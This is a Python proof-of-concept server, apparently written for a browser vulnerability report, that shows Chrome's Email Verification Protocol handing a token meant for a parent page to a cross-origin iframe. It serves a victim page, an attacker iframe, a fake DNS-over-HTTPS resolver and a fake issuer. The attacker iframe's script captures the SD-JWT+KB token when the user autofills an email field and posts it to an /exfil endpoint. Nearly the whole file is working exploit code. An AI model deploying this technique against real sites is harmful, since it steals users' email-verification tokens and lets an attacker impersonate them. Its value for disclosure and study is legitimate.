#!/usr/bin/env python3
"""
EVP cross-frame audience-confusion POC server.

A single HTTPS server (port 8443) that, via --host-resolver-rules port
mapping, simultaneously plays:

  * https://victim.test       - the embedder (relying party)
  * https://attacker.test     - the cross-origin iframe
  * https://dns.google        - DoH JSON resolver (TXT lookup)
  * https://idp.test          - the EVP issuer (.well-known + issuance)

When the user autofills the attacker iframe's <input type=email nonce=...>,
Chrome's browser process runs the Email Verification Protocol with
aud = the *parent* (victim) origin and dispatches the resulting SD-JWT+KB
to the *attacker* iframe via the 'emailverified' DOM event.

The attacker iframe POSTs the stolen token to /exfil and decodes the KB-JWT
on-page, demonstrating aud == "https://victim.test" was delivered to a
document whose origin is "https://attacker.test".
"""

import base64
import http.server
import json
import os
import ssl
import subprocess
import sys
import tempfile
import urllib.parse

PORT = 8443
HERE = os.path.dirname(os.path.abspath(__file__))

VICTIM_ORIGIN   = "https://victim.test"
ATTACKER_ORIGIN = "https://attacker.test"
ATTACKER_NONCE  = "ATTACKER-CHOSEN-NONCE-12345"

# ---------------------------------------------------------------------------
# Minimal SD-JWT the issuer returns. Chrome's SdJwt::Parse only requires three
# non-empty '.'-separated base64url segments followed by '~'; it does NOT
# verify the signature before signing the kb+jwt over it.
# ---------------------------------------------------------------------------
def b64url(obj):
    raw = json.dumps(obj, separators=(",", ":")).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

SD_JWT = "{h}.{p}.{s}~".format(
    h=b64url({"alg": "ES256", "typ": "vc+sd-jwt"}),
    p=b64url({"iss": "https://idp.test", "email": "user@idp.test",
              "cnf": {"jwk": {"kty": "EC", "crv": "P-256", "x": "x", "y": "y"}}}),
    s="ZmFrZXNpZw",  # "fakesig"
)

# ---------------------------------------------------------------------------

VICTIM_HTML = f"""<!doctype html>
<meta charset=utf-8>
<title>victim.test (relying party)</title>
<body style="font-family:sans-serif">
<h1>victim.test &mdash; legitimate relying party</h1>
<p>Origin: <b id=o></b> &nbsp; (this page never opted in to EVP)</p>
<form>
  <p>Full&nbsp;name: <input name=name autocomplete=name></p>
  <p>Street:&nbsp;&nbsp;&nbsp;&nbsp;<input name=addr autocomplete=street-address></p>
  <p>Third-party widget (cross-origin iframe):</p>
  <iframe src="{ATTACKER_ORIGIN}/attacker.html"
          style="width:520px;height:320px;border:2px solid #c00"></iframe>
</form>
<script>document.getElementById('o').textContent = location.origin;</script>
"""

ATTACKER_HTML = f"""<!doctype html>
<meta charset=utf-8>
<title>attacker.test iframe</title>
<body style="font-family:sans-serif;background:#fee">
<h3>attacker.test iframe (cross-origin)</h3>
<p>Origin: <b id=o></b></p>
<!-- A few decoy fields so Autofill classifies this as an address form
     and offers profile suggestions. -->
<p>Name: <input id=n  name=name  autocomplete=name></p>
<p>Email:
   <input id=e name=email type=email autocomplete=email
          nonce="{ATTACKER_NONCE}"
          placeholder="click here & pick autofill suggestion"></p>
<p>Phone: <input id=p name=phone autocomplete=tel></p>
<pre id=out style="white-space:pre-wrap;background:#fff;padding:6px"></pre>
<script>
const out = document.getElementById('out');
document.getElementById('o').textContent = location.origin;

function b64urlDecode(s) {{
  s = s.replace(/-/g,'+').replace(/_/g,'/');
  while (s.length % 4) s += '=';
  return atob(s);
}}

document.getElementById('e').addEventListener('emailverified', ev => {{
  const tok = ev.presentationToken;
  // SD-JWT+KB:  <issuer-jwt>~[disclosures~]<kb-jwt>
  const kb = tok.split('~').pop();
  const payload = JSON.parse(b64urlDecode(kb.split('.')[1]));
  const msg =
    '*** VULNERABILITY TRIGGERED ***\\n' +
    'attacker iframe origin : ' + location.origin + '\\n' +
    'kb+jwt aud claim       : ' + payload.aud + '\\n' +
    'kb+jwt nonce claim     : ' + payload.nonce + '\\n' +
    '(aud != iframe origin) : ' + (payload.aud !== location.origin) + '\\n\\n' +
    'full SD-JWT+KB:\\n' + tok;
  out.textContent = msg;
  console.error('[EVP-POC] ' + msg);
  // Exfiltrate to the attacker server.
  fetch('/exfil', {{method:'POST', body: msg}});
}});
</script>
"""

# ---------------------------------------------------------------------------

class Handler(http.server.BaseHTTPRequestHandler):
    server_version = "EVPPoC/1.0"

    def _json(self, obj, code=200):
        body = json.dumps(obj).encode()
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(body)

    def _html(self, body, code=200):
        b = body.encode()
        self.send_response(code)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(b)))
        # IMPORTANT: do not send a CSP header here, otherwise Blink hides the
        # `nonce` content attribute and Autofill never sees it.
        self.end_headers()
        self.wfile.write(b)

    # -- routing --------------------------------------------------------------

    def do_GET(self):
        u = urllib.parse.urlsplit(self.path)
        host = self.headers.get("Host", "").split(":")[0]
        print(f"[server] GET host={host} path={u.path} query={u.query}", file=sys.stderr)

        if u.path == "/victim.html":
            return self._html(VICTIM_HTML)

        if u.path == "/attacker.html":
            return self._html(ATTACKER_HTML)

        if u.path == "/resolve":
            # DoH-JSON impersonating dns.google.
            qs = urllib.parse.parse_qs(u.query)
            name = qs.get("name", ["?"])[0]
            print(f"[server]   DoH TXT lookup for: {name}", file=sys.stderr)
            return self._json({
                "Status": 0,
                "Answer": [{"name": name, "type": 16, "data": "iss=idp.test"}],
            })

        if u.path == "/.well-known/email-verification":
            return self._json({
                "issuance_endpoint": "/issue",
                "signing_alg_values_supported": ["ES256"],
            })

        self._html("<h1>404</h1>", code=404)

    def do_POST(self):
        n = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(n).decode("utf-8", "replace")
        u = urllib.parse.urlsplit(self.path)
        host = self.headers.get("Host", "").split(":")[0]
        print(f"[server] POST host={host} path={u.path} ({n} bytes)", file=sys.stderr)

        if u.path == "/issue":
            # Decode the browser-signed request_token to show what `aud` Chrome
            # already chose for the *issuer* request (also victim.test).
            try:
                tok = urllib.parse.parse_qs(body)["request_token"][0]
                payload = json.loads(base64.urlsafe_b64decode(
                    tok.split(".")[1] + "==="))
                print(f"[server]   issuer sees request_token aud={payload.get('aud')!r}"
                      f" email={payload.get('email')!r}", file=sys.stderr)
            except Exception as e:
                print(f"[server]   (couldn't decode request_token: {e})", file=sys.stderr)
            return self._json({"issuance_token": SD_JWT})

        if u.path == "/exfil":
            print("[server] >>> ATTACKER EXFIL <<<\n" + body, file=sys.stderr)
            return self._json({"ok": True})

        self._html("<h1>404</h1>", code=404)

    def log_message(self, fmt, *args):  # quieter default log
        pass


def make_cert(tmpdir):
    """Generate a throwaway self-signed cert covering all hosts we impersonate."""
    key = os.path.join(tmpdir, "key.pem")
    crt = os.path.join(tmpdir, "crt.pem")
    san = ("subjectAltName=DNS:victim.test,DNS:attacker.test,"
           "DNS:idp.test,DNS:dns.google,DNS:localhost,IP:127.0.0.1")
    subprocess.check_call([
        "openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
        "-keyout", key, "-out", crt, "-days", "3", "-subj", "/CN=evp-poc",
        "-addext", san,
    ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    return crt, key


def main():
    tmp = tempfile.mkdtemp(prefix="evp-poc-")
    crt, key = make_cert(tmp)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(crt, key)

    httpd = http.server.ThreadingHTTPServer(("127.0.0.1", PORT), Handler)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    print(f"[server] HTTPS listening on https://127.0.0.1:{PORT}", file=sys.stderr)
    print(f"[server] open  {VICTIM_ORIGIN}/victim.html", file=sys.stderr)
    httpd.serve_forever()


if __name__ == "__main__":
    main()